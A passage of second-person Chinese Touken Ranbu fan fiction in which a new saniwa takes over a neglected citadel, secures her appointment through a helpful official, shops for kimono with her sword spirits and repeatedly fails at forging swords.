你摇了摇头继续往天守阁方向走,“不,我只是确认一下。”
确认这世上,并非只有你一个“三日月宗近”。
天守阁前已经有人在等待。披着白被单的山姥切国广向你匆匆点头,什么也没有说。
你把属于他的那份小判塞到他手里。
山姥切的声音从被单下闷闷传来,“……为什么要给一个仿品钱?”
什么是仿品?你迷惑的看眼山姥切国广,还是只能看见对方一点金色头发,“我怕我买的东西你们不喜欢,你们自己去万屋选就好。”
天守阁内部没有太大改变,只是破损的金箔全部消失,多了许多画了山水花鸟的襖分割空间。山姥切国广摇响天守阁一楼的铃铛,通知小乌丸和一期一振到来。
等人全部到齐,你也各给小乌丸和一期一振一小包小判。抵达二楼书斋,你从姆明袋子里掏出昨天狐之助给你的本丸核心分心——一个小平板。
近侍和刀账的选项依旧暗着。
你检查打印机里的墨盒和纸,链接打印机,把除天守阁以外的本丸地图打印十份,分别发放给刀剑男士们,剩下留做备用。
然后你又打印五份「时之政府九月活动表」放在他们面前,随后往榻榻米上随意一坐。
“我知道,在你们心里我还算不是正式审神者。”你的目光逐一扫过他们,“不过没关系。”
你露出一个微笑,“来吧,现在让我们一起商讨九月的作战计划。”
5. 第五章
日本九月的太阳依旧毒辣。
打开的障子门形同虚设,没有带来一丝期待的风。蝉鸣声在远处的树林吱吱呀呀,反而让这寂静的和室更显闷热。
你只是站在二楼不到片刻,汗水就已经打湿后背,黏糊糊的贴在皮肤上。
你随意坐在榻榻米上用热腾腾的本丸地图扇风,扇出的风也是热的。四位刀剑男士把随身刀剑放在身体右侧地面,面对你正襟危坐。
小乌丸和三日月神态自若,仿佛这暑气不过是清风拂面。一期一振把自己封在军装里,额角已经泌出汗珠。而山姥切国广……大家都替他热。
你在知道你是外国人后,他们脸上那种“啊,果然是外国人”的无奈表情。也是,日本“超人”们在夏天也会保持体面,穿黑西装和运动外套。
抱怨归抱怨,正事要紧。
你嫌弃的戳开屏幕,登录平板里前任审神者的工作账号,不明白为什么这个账号还没有注销掉。
前任审神者的名字——佐藤。一个日本大姓。就任日期为半年前,但「在任记录」那一栏,仅仅在头两个月有过打卡,之后便是大片空白。
自然资源获取上限1700,出阵次数:5,远征次数:10。
两个月就那么点?你继续往下看,最让你诧异的是,最后的刀账统计。
全刀账持有数:20/120,(当前持有数:4)
刀种统计:短刀:0;胁差:0;打刀:12(当前持有数:1);太刀:7(当前持有数:3),?刀:1……
剑,枪是0也就算了,短刀和胁差是侦查和夜战的主力,获取难度也相对较低,是任何一个本丸都不可或缺的组成部分。一个就任两个月的审神者,怎么可能一把也没有?况且你在近侍间找到前田藤四郎的披肩……
一滴汗划过你的脖子,你咳嗽一声,“首先,我必须坦诚,我对‘审神者’的工作一无所知。狐之助……仅仅只教导我使用灵力的知识。”
你停顿一下,观察其他人的表情。狐之助三言两语教导的结果他们昨天都领教过了,不知是谁发出轻笑。
你看眼三日月,喉咙有些干涩,继续念,“所以,我需要你们的经验与力量。我做了初步的计划,这个月的核心目标是‘恢复本丸的初步运转’,先从资源和小判下手。具体分为三步。”
“第一,上旬。我计划以远征为主,全力收集资源和小判……本丸需要钱来买新的空调和电风扇。”
“第二,中旬。等到我们有足够的资源,我们可以尝试委托刀匠锻刀……”
锻刀。
这个词还未说完,一期一振放在膝盖上的手猛然握紧,脱口而出,“锻刀吗?”
他对上你的眼睛,意识到自己失态,“……啊不,我并没有什么怨言。”
“主君……恕我直言。锻刀之事,关联着灵力与运气。您的灵力尚未完全稳定,仓促行事,恐怕……”
一期一振没有继续说下去,但“恐怕”后面的话大家都心知肚明。
你被他打断后心反而平静了些,摆手表示没关系,“是的,锻刀。我们人手不足,战力也有限。锻刀是为了这个月下旬的任务做准备。”
你一字一顿地说,“这个月下旬我会申请参加‘联队战’。”
“‘联队战’?!”一直沉默的山姥切国广突然抬头, “就我们这点人手吗?!”
这座本丸的出阵记录屈指可数,作为初始刀的山姥切国广有可能是在场四位刀剑男士中唯一有实战经验的人。你终于看清楚白被单下山姥切国广的脸,与他周遭漂浮阴郁气质不同,他看上去白净端正,像美少女漫画流行的“王子系”帅哥,瞪大的碧绿色带着分稚气。
你深吸口气,“‘联队战’是虚拟伤害,不是吗?”
山姥切国广用力拉低头上的布,声音倒是不虚,“虚拟伤害不代表没有风险!而且,‘联队战’一次出阵就要持续挑战十轮对手,那需要审神者不间断的灵力支持。你的灵力……”
“好了!”
你做一个“停止”的手势,一下子书斋鸦雀无声。
“抱歉。”你调整自己的声音,扯出一个笑脸,努力让声音平稳,“所以我才要去。你们是刀,应该在战场上被挥舞,总不能因为我的原因一直在家打杂吧。‘联队战’是很好的机会,我希望你们能考虑考虑。”
你打开「审神者论坛」有关「小判告急」的分享。
除了时之政府举办的地下城活动外,远征报酬为小判的战场任务为「江户记忆」的「公武合体运动」,「加役方人足寄场」;「织丰记忆」的「安土城警备」;「战国记忆」的「比叡山延历寺」,「西上作战」等等。
现在他们的经验只能支撑他们执行较为简单「江户记忆」远征。一次大成功只能得到200小判。好消息是「江户记忆」的任务时间短,只有一个半小时。
你的意思再明确不过了,在中旬开始前,等待刀剑男士们的将是残酷的无缝远征。
你调整自己的坐姿,直起身板,“远征,是为了生存。锻刀,是为了未来。而‘联队战’是为了增长实力,保护这座本丸还在沉睡的刀剑们。我……请求你们,请求你们能陪我这个新手走上战场。”
一阵沉默。
你似乎听见自己眼皮眨动发出的声音。
小乌丸捋开耳边头发,“呵呵,原来如此。吾明白了。”
三日月宗近也慢悠悠开口,“嗯……也好。总是在本丸里喝茶,骨头也要生锈了。偶尔活动一下,似乎也不错。”
有了两位平安老刀的支持,两位战国时期的“年轻”刀剑终于点头。
“我知道了……”山姥切国广不情不愿的说。
你先让山姥切国广带其他刀剑去「维新时代」的「函馆」培养手感。这是新任审神者和初始刀必过的新手战,只有一条短路,山姥切国广有经验。
等大家练熟手后你再安排他们去「公武合体运动」远征。
“我会做好午饭等你们。”你叮嘱他们,“别忘记带小判回来。”
紧绷的气势随刀剑男士们的离去缓缓消散。你终于能喘上一口气,回到缘侧长廊上坐下,背靠冰凉的柱子休息。
金色的花枝在微风中摇曳,几只麻雀停在枯山水的白沙上啄食草籽。一切宁静的像幅画。
然而,你的心里突然有点落空空的。
那是种奇怪的感觉。明明刚才通过一场“独裁”的会议,初步掌握了这个本丸的主导权。却没有感到兴奋或者满足。
“狐之助!”
你下意识叫出那个名字,那个把你带到这个本丸的毛茸茸罪魁祸首。
似乎有什么东西从你的眼角余光一闪而过,猛地回头,回应你的只有桂花树发出沙沙的响声。
到底去哪里了?一丝不易觉察的烦躁涌上你的心头。
为了驱赶这种不快,你打开平板登录「佐藤」的账号,熟门熟路的点开「审神者论坛」,想看看这个前任审神者私下到底是什么样的人。
「佐藤」的账号收藏夹和浏览历史里,密密麻麻几千条历史记录,几乎都是“求XX本丸审神者爆照”、“新人女审神者私聊有福利”之类的帖子。点开私信箱,里面更是不堪入目的骚扰和露骨的言辞。
一波下来你只想要一双没有看过这个账号的眼睛,这个「佐藤」留下的痕迹,就像黏在鞋底的口香糖,甩不掉,还恶心人。
不行,必须清除。
远征也算战绩。你不打算便宜这恶心东西。
你点开时之政府的官方联络页面,开始注册新的审神者账号。接着,你找到部门管理邮箱,参考网络上搜索到的模板,写了一封严谨礼貌的邮件申请本丸所有权交接。
发送成功后,你盯着屏幕上的交接流程选项发呆。
【机器交接】,【人工交接】,【“刃”工交接】。
你摸不着头脑,机器交接你能理解,“人工”交接大概是政府职员来处理,那……“刃工”交接是什么鬼?让刀剑男士交接工作吗?
审神者的事务,应该人类比较了解吧?你先点击【人工交接】。
屏幕上显示「回复预计一个工作日内」。
你合上平板,长长的呼气,决定回到厨房准备做炸猪排饭。<
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————
邮件回复在晚上六点,你刚把山姥切他们送走就收到通知。
「申请被驳回」
这五个字在闷热的九月像一盆冰水从你头顶浇下。
你立即点开邮箱,试图询问原因。然而屏幕上只剩下一个自动回复窗口。
机械狐之助(自动回复):「尊敬的申请者,您好。由于已过工作时间,人工服务已关闭。给您带来不便,敬请谅解。」
你深吸一口气,压下火气,转而投递申诉邮件。
「申请被驳回的理由不明,本人已在本丸实际履行审神者职责,请求复核。」
时间一分一秒过去,邮件石沉大海。
就算是日本人传统磨洋工技能,也太久了。你怀疑有什么东西在故意阻挡你申请,气得想顺网线爬过去删对方巴掌。
一期一振他们似乎也察觉到你的烦躁,把小判安静放在你旁边便立即离开。
时间到晚上十点,刀剑男士们继续远征。就在你准备放弃明天再战时,屏幕亮起一个小红点。
一个名称叫“源清麿”的账号通过标有特殊“刃”字标记的邮箱回复了你的邮件。
源清麿:「尊敬的申请者,晚上好。我是源清麿。关于您审神者资格申请被驳回一事,我已收到您的申诉。请不必担忧,我会为您处理。」
虽然看不到对方的脸,但你感受到他的语气意料之外的温和,很快就给你查明了是前任审神者故意不注销审神者账号,挂名在本丸上领空饷。
你:「请问我现在怎么办?我没有前任审神者的联系方式。」
源清麿:「不必联系。这种“占位”行为本身就违反了《时之政府法》第三十七条补充协议。您现在方便将您的终端设备与本丸核心链接吗?我需要采集一小段您留存在核心中的灵力样本,作为您实际在此履行职责的证明。」
他的用词专业且严谨,你打开另一个网页搜索他提到的「时之政府法」,的确看到这一条规定。
几乎在你链接上本文核心的瞬间,平板上弹出一个进度条。
【灵力样本采集中……1%……50%……100%】
【样本上传中……】
【样本验证通过】
这个过程快得惊人。只用了不到三秒。
紧接着,一连串文件被发送过来。
【您已收到文件:《本丸所有权强制转移申请书》】
【您已收到文件:《特殊人才引进通道推荐表》】
【您已收到文件:《新任审神者账号即时开通协议》】
源清麿的邮件几乎同步到达。
源清麿:「请在这三份文件上签下您的名字。我已将您的灵力样本作为电子签名导入,您只需确认即可。不必逐条阅读,所有条款均对您有利。」
嗯?你嗅到一丝不正常的气息。犹豫一下还是迅速浏览一遍三份文件,确认大致没有卖身契一样的条款才签下名字。
【签名确认完毕】
【正在提交……】
【提交成功。审核通道:“刃”字特批。】
【审核中……】
这一次,你认为会是漫长的审核。调上一个半小时后的闹钟小睡片刻,准备迎接远征队伍归来。
但你刚调完闹钟,“审核中”这三个字就变成【审核通过】。
太快了。快到不真实。你恍惚间觉得对方速度好像在超市血拼的阿叔阿姨,自己是只剩一盒的打折鸡蛋。
源清麿贴心解释,「因为是用您的灵力直接注册,很多流程可以省略。灵力就像人类的指纹和虹膜一样独一无二,所以不用担心会被任何人冒充盗用。」
「而且……我恰好拥有处理此类事件的最高权限。时间不早了,请您早些休息。欢迎您,成为时之政府审神者中的一员。」
“恰好”。这个词真是滴水不漏。
你放下平板拍拍自己的脸,告诉自己想多了,被那群机器人气傻了。
但内心深处,你还是生起疑问——这个叫“源清麿”的人,可能远比他文字中所表现出的,要更加期待你的到来。
6. 第六章
「源清麿」究竟是谁?
怀抱这个疑问,你睡得并不舒坦。高强度远征迟来的报应终于落到你的身上,你太阳穴不断传来阵痛,在布团上辗转反侧。
刀剑男士们吃饭就可以精神百倍,你的血肉之躯经受不起不断抽取灵力的折腾。
「审神者论坛」凌晨新帖稀少,有几个老审神者打趣说自家刀剑男士的侦查不过关,没有发现自己偷偷熬夜玩手机。
自家。
你想起远方的家还有「异界」。在察觉自己进入异界时,你曾想按照书籍记载的方法原路返回。但是转头便发现身后是无数的小径。
“……请留步啊,「异界」的路走错了就难回来了。”
披层白纱的“三日月宗近”站在你身边。你那时不认识他,他却让你感觉到一分亲切。如果当时顺着他说的道路往上走,你会遇到什么呢?
论坛刷新多次再也吐不出新玩意。
你关闭论坛恶补刀剑男士的生平背景和原主经历。结果发现自己越追溯历史,对他们口中心心念念的原主意见就越大,再看下去就要对不少刀剑男士产生偏见。
没有审神者账号时抓心挠肝,得到后反而兴致缺缺。你把平板扔到一边,闭上眼睛在脑海里训练灵力使用要点。
周围再次沉入黑暗。
无缝远征的第五天你消瘦许多,每天就是早起加热万屋买来的速食便当,送刀剑男士出门,包揽余下两餐,晚上日结工资。
修改后的达芬奇睡眠法也不适合无缝远征的强度,你注意力和记忆力飞快下降。为了切菜不切到手指,做饭速度也慢了不少。你尝试过用万屋速热便当替代手工饭,但吃了不到两天你进化到看到便当就反胃。
小乌丸不得不委婉的暗示你,大家希望能有一个长寿主君。
于是你把无缝远征调整为早六晚十点半。
累是累,手里的钱袋沉甸甸得喜人。在你又一次透支灵力呕出酸水后,远征两倍活动终于落下帷幕。
趁着天气好,你发放当日工资,放一天假让刀剑男士们去万屋街玩耍,自己躺在长廊上小睡。庭院精灵们飞到你身边,用轻盈的身体帮你揉按太阳穴。
“审神者大人。”半梦半醒间,一个细细小小的声音响起。
许久不见的狐之助从一个枯石后冒头,“本丸布局变化好大呀,我都找不到您了!”
你迷茫的睁开眼睛,惊奇的看向狐之助,仿佛现在才意识到狐狸不应该会说话,“我也找了你很久,这阵子你去哪里了?”
狐之助的毛乱糟糟的,“我去时之政府给审神者大人申请「新任审神者应援」了!您……您的脸色怎么那么不好?”
它扑上你膝盖,拍打你手背,让你拿出平板。在扫描录入狐之助身上携带的咒印后,你的审神者账号里突然多出十万小判,玉刚等各二十万自然资源,甚至你一直没空收集的委托符和加速符也凭空出现各60张。
嘶……这辈子没有打过那么富裕的仗。
这十天远征累死累活才攒下六万小判,狐之助带来的十万小判宛如轻飘飘的幻梦。
“我没事,只是熬夜熬多了。”你用力揉捏狐之助的脸,“你太棒了!今天去万屋街买油豆腐吧,你想吃多少都行。对了,顺便给本丸装几台空调。”
狐之助乐呵呵笑,一路上狐之助不断倾吐这十天来的遭遇。
原来它到时之政府申请礼包时也遇到和你一样的事,被「历防本部总务课」前台各种打太极。由于管狐不能租酒店,它只能先到管狐使那里和其他未毕业小管狐一起住。
就在狐之助准备放弃时,第三天有一个总务科的调查员通知它你的审神者手续已经办理完毕,只不过由于你的特殊情况,需要填写的资料比其他审神者多得多,狐之助还要继续奔波。
听它说完你才恍然大悟,原来你能那么快通过,是剩下的苦差事都堆到狐之助身上了。你一瞬间微微原谅狐之助没有告诉你前任审神者的事。
你心里一动,“那个调查员叫‘源清麿’吗?”
狐之助点头,“审神者大人也认识源清麿大人吗?”
“倒不算,只是邮件联系过。”
你们来到万屋杂货铺隔壁那家小有名气的豆腐店,里面坐满相同样貌的刀剑男士。你在一个不引人注意的角落找到一人空位,让狐之助蜷在你腿上,方便它够到桌上的食物。
“为什么有狐狸的刀剑男士都是白发呢……”你认出店里三种刀剑男士的名字:小狐丸,鸣狐,白山吉光。无一例外都是白发。
回忆童年的动画片,“犬O叉”,“狐妖XOSS”,“元气少女O缘神”等等……男主都是白发狐妖,再联想大阴阳师安倍晴明传闻是白狐之子……不,如果真的是白狐之子,安倍晴明的外貌应该早就被传成白发美男子吧。在你生活的时代,日本官方研究发现,安倍晴明的母亲似乎是「山民」,也就是远离城市居住的平民。
听到你的说笑,狐之助叫着幻想破灭啦,大口吃不同口味的油豆腐福袋。
你勺口滑嫩的黑芝麻豆花吹凉,缭绕的热气拂过你脸颊,“即使是「山民」也没什么不好吧,毕竟安倍晴明遗传母亲的超高灵力是事实。”
狐之助摇晃尾巴,“审神者大人一点也不懂,逸话是很重要的。举例来说……您现在看到的刀剑男士们,就是从本体和逸话中诞生的。如果逸话改变,消失,那么现有的刀剑男士们也会消失。”
它一脸严肃,“比如说山姥切国广阁下,以及您未曾谋面的山姥切长义阁下,他们核心逸话就是「斩切山姥」。这份传说是他们存在的基石,因此,在他们面前绝对不能说‘放弃争这个名号’之类的话——这无异于对人类说‘你别存在了’一样严重。”
“解释也不行吗?”你微微侧过头,露出一个在狐之助眼里略显残酷的笑容,“古代不是经常有把老人抛弃在山里自生自灭的传闻吗?也许当时石原斩杀的不是什么妖怪,而是被抛弃到山里的老人也说不定。”
“审神者大人!”
你用接二连三的油豆腐福袋堵住狐之助的嘴,算这个话题就此结束。
吃完豆腐你带狐之助重回杂货店购买空调,谁知脚刚踏出店门半步,一个高大的身影悄无声息挤到你面前。
“请问……”
来人微微俯身,一头又长又蓬松的白色长发垂下。是小狐丸。他穿着一身便于活动的黑色轻装。
“您就是接手了‘那个’本丸的新任审神者吗?”
他没有说出编号,而是用了“那个”代称,仿佛那是一个众所周知的代号。
你挑了挑眉,视线越过小狐丸宽厚的肩膀,看向他身后不远处。
一个穿纱和服的女性。她一头鸦羽色长发用白丝带松散编起,垂在肩膀。身上那件极其轻薄透气的黑纱和服,上面的金鱼图案栩栩如生,随着她的呼吸,仿佛在她的皮肤上游动。
她没有看你,只是悠闲的把玩着手里的一柄折扇,轻轻扑风。
似乎是感觉到你的沉默,女人缓缓抬起眼帘,朝你望过来。从你的表情,穿着,到你怀里炸毛的狐之助,她都一一扫过。
然后,她冲你微微一笑。
她的美丽毋庸置疑,露出的两颗小虎牙冲淡刚才的锐利,让她看上去无辜甜美。
但在女人露出笑容时,她身边提着大包小包、身穿紫色和服的棕灰发刀剑男士,微微一倾,不自觉向她靠近半步,姿态越发恭敬。
“有什么事?”你收回目光,重新看向面前的小狐丸。
折扇收起的声音。
小狐丸直起身,脸上带着歉意的微笑,“不,只是确认一下。看来是我们认错人了。非常抱歉,打扰您了。”
他撒谎了。
你的眼色一沉。
小狐丸说完再次微微躬身,迅速退回女人的身边。女人最后看了你一眼,那笑容依旧甜美。她转过身,带着两名随从,融入万屋街熙攘的人群中,那抹游动的金鱼尾很快消失不见。
“审神者大人……”狐之助小声叫你。
你没有回答,用食指在它的吻部点上一点。
小乌丸在本丸看家,你不急着回去。你买下几台空调用搬运符送到本丸,又委托工匠安装,开始和狐之助逛万屋杂货店。
没钱时是一种逛法,有钱又是另一种逛法。
你第一次来万屋杂货店为了省钱只买了一件换洗T恤,现在有钱后可以多买几套了。
狐之助坐在超市手推车内,“审神者大人不将此事告知一期一振阁下吗?一期一振阁下他们应该很乐意帮您打扮呢。”
你停下比对衣物价格牌,“为什么告诉他们?”
“而且……”你抽出一件性价比高的T恤,“衣服都一样,舒服就行。”
“审神者大人一点也没有主君的样子,”狐之助耳朵动了动,“这件衣服不是和你之前买的一模一样吗?”
“不一样。”
“的确一模一样。”
你拧起眉头看向第三道声音的方向。一期一振和三日月宗近推着装满茶酒的手推车,站在货架旁边
“……你们是……?”你迟疑的打量两位刀剑男士。万屋里太多相同的刀剑男士了,明明第一次来时只看到几个,还是不同样的。现在你不确定他们是不是你本丸的一期一振和三日月。
三日月宗近呵呵笑,“哎呀,看来您的确和我们不太熟呢。啊哈哈哈,也好也好,是我们疏忽了,没能让您记住我们的模样。”
你听出他在给你台阶下。
他旁边的一期一振倒没有他那么云淡风轻。一期一振屈身,重新自我介绍。
“主君,我是一期一振。这位是三日月宗近阁下。万屋人员混
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杂,下次还请让我等随行。”
你举起手推车里的狐之助证明自己不是独自一人,看到一期一振眉间微不可查的蹙了一下,又把狐之助放回手推车。
“啊嗯……这件衣服挺好看的,”你拿起T恤左看右看,“……你们觉得呢?”
“这不就是刚才的衣服嘛。”狐之助跳到一期一振的手推车里,“一期一振阁下,三日月宗近阁下!审神者大人在买新衣服呢!”
听到狐之助的“告密”,一期一振的目光落在你手里朴素的T恤上,又看了看你身上一模一样的衣服,眼里闪过不解。
“主君,您是本丸的颜面。衣着……固然以舒适为先,但也需顾及体面。若您不介意,可否让我为您挑选几件合适的衣物?”
你打量一期一振身上华丽的军装,“不用了,我觉得这样就好。而且……很贵吧。”
打破你们之间僵持的是三日月,“哈哈哈,主君无需担心用度。本丸的资产,本就是为了让主君更好生活而存在的嘛。钱财若不能换来喜悦,那便与石头无异了。”
你纠正三日月,“不是为了‘我’,是‘我们’。我既不是周扒皮,也不想整蟹工船,怎么说的我亏欠你们工资一样?”
一期一振承接三日月的话,“主君,购买几件质量上乘的衣物,从长远来看,比频繁更换廉价品更划算。而且,得体的着装在于其他审神者和时之政府的官员会面时,也是一种必要的礼仪。”
你被他们一唱一和地说的有些动摇。的确,下旬“连队战”线上报名后还要去时之政府总务科处打卡,万事先看看再决定也不错。
你走西,三日月走东,在你生气前,三日月他们半推半就带到和服区。和服并没有你想象中的那么贵,和网上所说的一套三十万日元不一样。不同的做工面料不同的价格,有些换算成几百人民币就可以买到。
三日月和一期一振的审美都属上乘,不过三日月倾向华美,一期一振更偏古雅。
面对你直接的疑问,一期一振才解释,“我华丽的着装……吗?怕是前任主人,丰臣秀吉的影响。”
三日月已经开始选择外出穿着的紬,“您不如把这次经历当做体验如何?我来付钱也是可以的。”
三日月并不强硬,但他足够我行我素。这十天来你大概摸清本丸内各位刀剑男士的性格,知道他就算别人反对也会买下自己看中的东西,因为他遵循内心,觉得好就是好。
你明白工资给了三日月就是三日月的小判了,但是对他这种花钱大手大脚的行为还是忍不住心痛。
你看向那个内里真正强硬的刀剑男士,又看向三日月,“你真的付钱?”
三日月点头。
三日月顺手要挑选一件色纹付时,你吓得眼冒青光,幸好一期一振立即出手把三日月的手轻轻按下,“三日月殿,挑选礼服的雅兴还是留到周年庆吧。”
你连忙说,“的确,平常的时候穿紬也可以了吧?”
三日月宗近呵呵的笑出声。
“嗯嗯~您比较适合路考茶色和服吧?”三日月看向你的发色。
一期一振拿起店内的商品杂志浏览,“主君,鼠灰色也是今年的流行色。”
平时刀只有被人装饰的份,现在轮到他们替人类挑选衣物诠释自己审美,两人都拿出挑选刀镡的兴致。
你走进试衣间,片刻后,你拉开门帘有些不自在的走出来。
那是一件茶色小纹和服,素雅的底色点缀龟甲图案。因为不习惯,你腰带系得有些松垮。
你展开双臂转圈走几步,“怎么样?”
场面寂静了一瞬,三日月和一期一振同时站直身体。
一期一振闭上眼睛,片刻后才迟疑开口,“主君……您能背对我们走几步吗?”
你不明所以,还是顺着他的要求,转过身背对他们往前走几米。
“……您的身形,比看上去要挺拔许多。”一期一振先是说了一句没头没脑的话,然后才点头说,“果然要搭配羽织才行。”
三日月这时才回过神,笑呵呵接话,“嗯……羽织的话就用白底细纹,可以中和茶色的沉稳,更显清爽。”
仿佛刚才的沉默不存在般,两位刀剑男士继续讨论起服装色彩与图案搭配。
你叹气翻看自己的账户余额,“夏天还要穿羽织,我又不是超人。”
你的抱怨和动作,终于将两位沉浸在美学世界里的付丧神拉回现实。
一期一振轻咳一声,“主君在本丸内可以只穿紬,不过外出时要记得搭配袴,更显庄重。”
三日月笑得别有深意,悠悠的说:“毕竟‘美丽之物’,总是值得一些小小的忍耐的。不是吗?”
他话里有话,仿佛是说炎热的天气还是别的什么。但你不想再细想,大夏天穿长袖让你觉得怪异,只想早点结束选购衣服的环节。
7. 第七章
衣服买回来后没人督促你换上,你依旧穿着现代T恤衫在古典庭院里乱晃。
窗外阳光明媚,你坐在书桌前,面前摊着一张崭新的任命状。时之政府朱印鲜红,宣告着你代理审神者身份的结束和正式任期的开始。
随之而来的,是作为正式审神者的第一个、也是最微妙的问题——选择近侍。
是阔达自我的三日月宗近?
以你照顾老人的经验,他不需要你每天早上替他穿衣服就已经烧高香了。
是温柔稳重的一期一振?
他是个好下属,好到你无法和他讨论除公务外的琐事。
还是看上去自卑的山姥切国广?
在上次会议后你们的关系变得很微妙,想想两人同处一个房间你鸡皮疙瘩掉一地。
你烦躁的抓了抓头发,最后选择从白纸上剪裁出四张大小相等的小纸条,在上面分别写上“一”、“二”、“三”、“四”,揉捏成小纸团让他们抓阄。等他们抽取完毕,按照他们抓到的数字轮班近侍。
抽到“一”的人是小乌丸。
自他知道你今天要看书苦读一整天后,就一直独坐在天守阁二楼缘侧喝酒,观赏天守阁外隐约绽放的山茶花花苞。
这点和你家里的长辈不同,在你还小的时候,你经常要坐在客厅里就着泰国电视剧做作业。在你算不准数学题时,电视里的男女主还会适当的发出虐死虐活的哭声烘托气氛。
学习材料是狐之助从「总务处」顺来的「审神者新人指南」,开篇先介绍时之政府如何伟大如何坚不可摧,再介绍有多少寺庙神社名门的继承人选择时之政府……
你打个哈欠,直接跳到自己要看的篇目。
【神道】:
「在历史修正主义者侵袭初期,时之政府常规战力损失惨重,战局呈现被动防御态势。
为扭转战局,时之政府初代执政官秘访现世【某著名神社】……从神道信仰中得到灵感………
人神信仰中,‘皇家贵族’,‘天下人’,‘伟人’的事迹被人代代传颂,人类集体无意识沉淀的‘信念’,与器物经年累月中诞生的‘心’相结合,会产生足以干扰历史的灵力……」
【“灵力”】:
「一种尚未被完全解析的能量。
严格来说并没有规定只有人类才拥有‘灵力’……纯粹的心,念头都可以产生‘灵力’……
时之政府开发出【灵力感测值】(SPR)来快速衡量审神者的灵力大小……
如正文所述,未成年个体,尤其是七岁以下的幼童SPR普遍偏高。主流学界(时之政府研究院—2158)提出的‘纯真滤网假说’认为,个体在社会化过程中形成的认知壁垒会逐渐抑制其对灵力的天然感知与汇聚能力……」
…………
你又打了个哈欠,什么「心」啊,「美好能量」啊,一点实际操作也没有。
时之政府内部有专门培养审神者的「审神者内部育成」,从阴阳世家中选拔的审神者候选人更是从小训练。你不认为自己这个外国人可以用砖头敲开这些精英小团体的大门。
“小乌丸。你们刀剑男士们是怎么使用灵力的?”你从椅子上滑落,懒散的躺在榻榻米上,放弃思考直接询问付丧神。
小乌丸转头看向你,秋日的风轻轻吹撩动他的头发,他的唇角似乎掠过一丝笑意。
“主君因为灵力烦恼吗?”小乌丸稍作停顿,“对于刀剑男士而言,灵力便如呼吸之于人类。寻常时分,吾等亦如常人行走坐卧,无需思虑呼吸。若要挥刀破敌,便要深吸一气,屏神凝息,给予敌人致命一击。心念所致,灵力自成。”
你半眯着眼看小乌丸,无缝远征的后遗症还没有消退,背部贴在榻榻米上就想昏昏欲睡。“哦~就是像心流状态那种?所以我要去练习剑道?”
小乌丸摇头,“并非一定是剑道。仅仅是赏花,喝酒,其中也有锻炼灵力的妙趣。主君,恕我直言,您如果要锻炼灵力,最先应该学会的是如何呼吸。”
呼吸?
你想起以前看过讲解「调息」的书,大概是讲呼吸与身体健康息息相关,过度呼吸会加剧哮喘和体内炎症云云。中国的儒道佛医也各有相关研究。
“我知道了。”你从榻榻米上滚起,想到个练习的好地方,拎起书走去和刀剑男士们第一次会面的茶室。
草庵式茶室以空寂为中心打造出“幽玄”审美,光线昏暗,空空荡荡。正好也远离天守阁,就算失败也不用担心打碎名贵器物,或造成严重影响。
你在茶室中央插上杂志赠送的线香,纤柔的纱绡从一点火光盘旋而上,八重樱的香气悠悠融入寒蝉短促的鸣叫。
热。
你没由来的想,秋天蝉不应该都死了才对吗。
在这几天里你和其他刀剑男士们的交流仅限迎接远征队伍,内番人选确认,讨论下一餐食物。
本丸田地里蔬菜只要一天就可以收成,你也尝试过种地,结果经由你手的蔬菜种子从来没有发芽过,白白浪费种子。
“田地在讨厌我。”你忍不住吐槽。
听到你说出这句话的山姥切国广,罕见的露出一种混合惊讶与困惑的表情。
联队战的日期像是悬在头顶的剑,催促你每日往返天守阁和锻刀室之间。
远征活动和新人礼包带来的充裕资源让人安心,你每天划出一天三次的锻刀额度,不多不少,希望能尽快凑齐一只六人小队。
锻刀,是刀匠们以玉刚,木炭等自然材料锤炼出凭依雏形:「形代」,再用「委托符」充当审神者灵力媒介,唤醒刀剑中灵魂的仪式。
第一天,你满怀期待的把注入灵力的锻刀符交给工匠,山姥切国广陪你站在外头。20分钟后,锻刀炉发出一声闷响,小小的刀匠们灰头土脸的走出来对你摇头。
“……仿品就是会吸引失败的吧?”山姥切的声音闷闷的。
你没有认可他的话,在本子上记下:灵力过于集中,爆发太快,下次尝试延长注入灵力时间。
第二天,你换成一期一振陪你站在外头,依然是二十分钟锻刀时间。
一开始,一期一振听到这个时间时眼睛里闪过急促的亮光,但锻刀炉很快传来噼里啪啦的声音,刀匠们急忙忙冲出来浇灭锻刀室的火。
他在脸上闪过一丝阴霾,什么也没说。
你看到他这副样子心里也不是滋味,轻轻拍了拍他的肩膀。
笔记本记录越来越多,失败的原因越来越离奇。
「灵力形态不稳定,刀剑的灵无法凝聚」
「重新调整过材料配比,用玉刚制造的凭依媒介很快碎裂,刀剑是否排斥我的灵力?」
……
轮流被四位近侍见证失败的样子实在不好受。第十五次,你没有让任何刀剑男士们陪伴你。
这一次,锻刀炉里没有发出“噼里啪啦”的声音,反而变得很安静。紧接着,炉子里传来一种让人头皮发麻的“格叽格叽”声。
宛如……活物的爪子抓挠声。
刀匠们从锻刀室内蜂拥而出,几个胆大的聚集在门口,拦着你不让你靠近。
你心脏狂跳,往里面偷瞟。炉门大开着,橘红色的火光映照出一个蜷缩在地上的东西。
那是一具由木炭和半融化玉刚混合的人型物体。没有五官、皮肤,头发、甚至没有清晰的四肢轮廓,什么也没有,只是一个完全漆黑,模糊的人型物体……
“咯吱”,在你的注视下,它的一条“手臂”微微抽动,发出一声抓挠声,仿佛想从地面上爬起来。
“……啊。”
一个短促的音节从你的喉咙里挤出。
你不记得自己是怎么返回茶室的了,视野里的一切都在晃动。回过神来,你已经坐在矮桌前,笔记本摊开着,上面是颤抖的字迹,记录好时间,气温,材料比例,灵力注入时间与方式。
“啊。”
此时此刻,你才发出第二个属于自己的声音,低头发现鞋里灌满从锻刀室到茶室一路上的沙砾。你走到茶室外抖干净鞋里的沙砾,望着庭院橙红的火光打了个寒颤。
那个东西开口说话了吗?
抓挠声是它在呼唤?还是惨叫?
那个东西是刀剑吗?
我……做错了什么吗?
漆黑的竹林中传来窸窸窣窣的声音。
你浑身一僵,那个东西……跟过来了?
不对……
“狐之助?”你试探的问了一句,摸索出身边的平板,打开平板后才发现自己没有其他刀剑男士的联系方式。
竹林里没有回应,有东西在竹林里发光。
情急之下,你做出一个连自己也觉得荒唐的举动,打开平板上的音乐软件,将时之政府出品的《近侍曲山姥切国广》音量调到最大,播放出来。
激昂又略带点悲壮的旋律瞬间划破夜色的宁静。
“……噗嗤。”
竹林里传来一声压抑不住的
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轻笑。
那听上去像是人类的声音。
你的恐惧迅速褪去转化成羞恼。你关闭音乐,握紧拳头,“谁!”
